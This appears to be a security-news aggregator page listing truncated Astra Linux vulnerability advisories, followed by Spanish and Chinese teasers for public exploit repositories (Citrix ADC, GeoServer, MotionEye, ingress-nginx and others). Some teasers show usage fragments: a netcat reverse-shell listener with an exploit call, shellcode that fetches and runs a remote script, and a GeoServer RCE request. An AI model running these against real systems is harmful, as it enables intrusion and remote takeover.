Astra Linux – Vulnerability in Chromium

Type Confusion in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. Chromium security severity: High...

Astra Linux – Vulnerability in htmldoc

A flaw was discovered in htmldoc in version 1.9.12. A heap buffer overflow in pspdfpreparepage, located in ps-pdf.cxx, may allow for the execution of arbitrary code and cause a denial of service attack...

Astra Linux – Vulnerability in freerdp3, freerdp2

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.21.0, a client-side heap buffer overflow occurred in the gdiSurfaceToSurface path of the FreeRDP client due to a mismatch between destination rectangle clamping and the actual copy size. A malicious server can...

Astra Linux – Vulnerability in libio-compress-perl

IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob. The parseOutputGlob function wraps the output glob string provided by the caller within double quotes and stores it in the parser state. Then, the getFiles function...

Astra Linux – Vulnerability in Chromium

The use of after-free in WebRTC in Google Chrome before version 149.0.7827.53 allowed a remote attacker to execute arbitrary code within a sandbox through a crafted HTML page. Chromium security severity: Medium...

Astra Linux – Vulnerability in StrongSwan

StrongSwan before version 5.9.12 has a buffer overflow vulnerability, and there is a possibility of unauthenticated remote code execution through a DH public key value that exceeds the internal buffer of charon-tkm’s DH proxy. The earliest affected version is 5.3.0. An attack can occur through a...

Astra Linux – Vulnerability in Tomcat9

Path Equivalence: The use of ‘file.Name’ an internal dot notation can lead to Remote Code Execution, information disclosure, or the addition of malicious content to uploaded files via the write-enabled Default Servlet in Apache Tomcat. This issue affects Apache Tomcat versions as follows: 11.0.0-...

Astra Linux – Vulnerability in CGal

There are multiple code execution vulnerabilities in the Nef polygon-parsing functionality of CGAL libcgal CGAL-5.1.1. A specially crafted malformed file can lead to an out-of-bounds read and type confusion, which could result in code execution. An attacker can provide malicious input to trigger...

Astra Linux – Vulnerability in WebKit2GTK

The issue was resolved through improved memory handling. This issue is fixed in Safari 17.3, iOS 16.7.5, and iPadOS 16.7.5; iOS 17.3, and iPadOS 17.3; macOS Sonoma 14.3; tvOS 17.3; and watchOS 10.3. Processing web content may lead to arbitrary code execution...

Astra Linux – Vulnerability in pyyaml

In PyYAML before version 5.1, the yaml.load API could execute arbitrary code if used with untrusted data. The load function has been deprecated in version 5.1, and the 'UnsafeLoader' has been introduced to maintain backward compatibility with this function...

Astra Linux – Vulnerability in assimp

A vulnerability exists in assimp v.5.4.3, allowing a local attacker to execute arbitrary code through the CallbackToLogRedirector function within the Assimp library...

CVE-2025-21298

content Esto es una prueba de concepto para CVE-2025-21298 - Vulnerabilidad de ejecución remota de código en Windows OLE CVSS 9.8. Esto es un PoC de corrupción de memoria , no un exploit. Diff completo del parche mediante ghidriff: ENLACE vulnerabilidad La vulnerabilidad se encuentra en...

CVE-2023-3519

Citrix ADC 远程代码执行漏洞 CVE-2023-3519 此漏洞利用程序针对 Citrix VPX 13.1-48.47 的地址和 shellcode。完整分析文章请点击此处。 用法 需要 NASM 来构建 shellcode。 root@kitploit: $ sudo apt install nasm 包含的 shellcode 会从远程 https 服务器下载并执行一个 shell 脚本。该脚本接受 3 个参数：目标主机、目标端口以及 shell 脚本 payload 的 URL。本仓库中包含一个示例 payload，它会在运行 id 和 uname -a 后进行自我清理...

CVE-2025-1974

LÉEME Hablar es barato, solo mira el código. Se pueden encontrar detalles en https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities Uso 1. Cambia la ip en shell.c 2. Verifica que docker esté disponible y ejecuta make shell.so. Necesitamos compilar el .so en Alpine para asegurarnos de qu...

MOODLE-3.X-Remote-Code-Execution

MOODLE-3.X-Remote-Code-Execution cve-2018-1133 ejecución remota de código en Moodle autenticado como profesor...

CVE-2019-0708-EXPloit-3389

CVE-2019-0708-EXPloit-3389 Vulnerabilidad de ejecución remota de código en el servicio de Escritorio remoto RDP CVE-2019-0708...

GeoServer-CVE-2024-36401

GeoServer-CVE-2024-36401 GeoServer CVE-2024-36401: Vulnerabilidad de ejecución remota de código RCE en la evaluación de expresiones de nombres de propiedades GetPropertyValue root@kitploit: POST /geoserver/wfs HTTP/1.1 Host: PunitDarji Content-Type: application/xml User-Agent: Mozilla/5.0 Windows...

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 Una vulnerabilidad crítica de ejecución remota de código RCE en MCPJam Inspector 3. Iniciar el exploit root@kitploit: python3 CVE-2026-23744.py -u -i -p 4. Para un mejor uso recomiendo actualizar la terminal a una completamente funcional, de lo...

CVE-2024-31666

Resumen de la vulnerabilidad Existe una vulnerabilidad en Flusity-CMS v.2.33 que permite a atacantes remotos ejecutar código arbitrario a través de scripts especialmente diseñados en el componente editaddonpost.php. Versiones afectadas Flusity-CMS v.2.33 Detalles de la vulnerabilidad Los atacante...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE RCE autenticado en MotionEye = 0.43.1b4 mediante la omisión de la validación del lado del cliente en el campo imagefilename. Uso root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Banderas...